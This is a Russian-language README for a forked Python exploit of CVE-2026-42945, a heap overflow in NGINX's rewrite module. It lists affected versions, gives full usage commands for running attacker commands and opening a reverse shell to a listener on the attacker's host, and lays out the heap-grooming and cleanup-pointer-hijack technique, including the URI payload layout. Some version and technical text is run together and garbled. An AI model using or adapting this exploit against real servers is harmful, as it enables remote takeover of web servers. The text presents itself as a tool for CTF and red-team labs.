Python RCE PoC с reverse-shell слушателем для CVE-2026-42945 (NGINX Rift)
Концептуальный эксплоит (PoC) удаленного выполнения кода для CVE-2026-42945, переполнение буфера в куче в модуле ngx_http_rewrite_module NGINX. Этот форк дополняет публичный PoC-триггер встроенным слушателем обратной оболочки и настраиваемыми параметрами эксплуатации для CTF и изолированных лабораторных сред.
ngx_http_rewrite_module0.6.27 – 1.30.0; NGINX Plus R32 – R361.30.1 / 1.31.0; NGINX Plus R36 P4, R35 P2, R32 P6is_args = 0, а при проходе копирования — основной движок с is_args = 1, вызывая ngx_escape_uri(..., NGX_ESCAPE_ARGS). Экранируемые байты расширяются до 3 байт каждый, переполняя недоразмерный буфер в куче управляемыми данными URI.rewrite/set с использованием безымянных захватов PCRE ($1, $2) плюс ? в строке замены; отключенный ASLR или известные базовые адреса кучи/libc; возможность выделять кучу через тела POST-запросов.| Файл | Описание |
|---|---|
cve_2026_42945_rce_poc.py | Эксплоит на Python со встроенным слушателем обратной оболочки и режимами выполнения команд. |
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--cmd "id > /tmp/pwned"
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--shell-type python \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337 \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000 \
--system-offset 0x50d70
ngx_pool_cleanup_s: system@libc | указатель на команду | null. Эти тела занимают стабильные области кучи.rewrite. Шаблон URI:
/api/<349 x 'A'><969 x '+'><6-байтовый адрес кучи>
Переполнение повреждает указатель cleanup соседнего ngx_pool_t.cleanup вызывает system(command), выполняя управляемую атакующим команду в рабочем процессе NGINX.--shell, команда представляет собой полезную нагрузку обратной оболочки, а встроенный слушатель перехватывает входящее соединение.Этот инструмент предназначен для:
Не используйте на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Используйте на свой страх и риск. Автор не несет ответственности за несанкционированное или незаконное использование.
Оригинальное исследование уязвимости и PoC от depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift). Этот форк с обратной оболочкой на Python создан для использования в лабораториях red team / CTF.